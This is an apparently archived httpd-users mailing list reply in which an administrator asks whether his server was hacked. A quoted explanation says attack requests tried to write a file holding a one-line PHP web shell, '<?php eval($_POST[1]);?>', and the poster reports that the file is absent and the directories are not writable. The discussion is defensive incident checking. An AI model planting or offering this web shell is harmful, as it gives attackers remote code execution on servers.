httpd-users mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From "Lentes, Bernd" <>
Subject Re: [users@httpd] am i hacked ?
Date Mon, 06 Feb 2017 17:08:00 GMT

> The first line is trying to create the file webconfig.txt.php in your
> DOCUMENT_ROOT directory, with the contents of the file being:
> <?php eval($_POST[1]);?>
> I didn't decode the remaining lines. I think they're just trying to do the same
> thing.

Fortunately there is no webconfig.txt.php. And all folders in /srv/www belongs to root and
user wwwrun
is not allowed to write there.


Helmholtz Zentrum Muenchen
Deutsches Forschungszentrum fuer Gesundheit und Umwelt (GmbH)
Ingolstaedter Landstr. 1
85764 Neuherberg
Aufsichtsratsvorsitzende: MinDir'in Baerbel Brumme-Bothe
Geschaeftsfuehrer: Prof. Dr. Guenther Wess, Heinrich Bassler, Dr. Alfons Enhsen
Registergericht: Amtsgericht Muenchen HRB 6466
USt-IdNr: DE 129521671

To unsubscribe, e-mail:
For additional commands, e-mail:

View raw message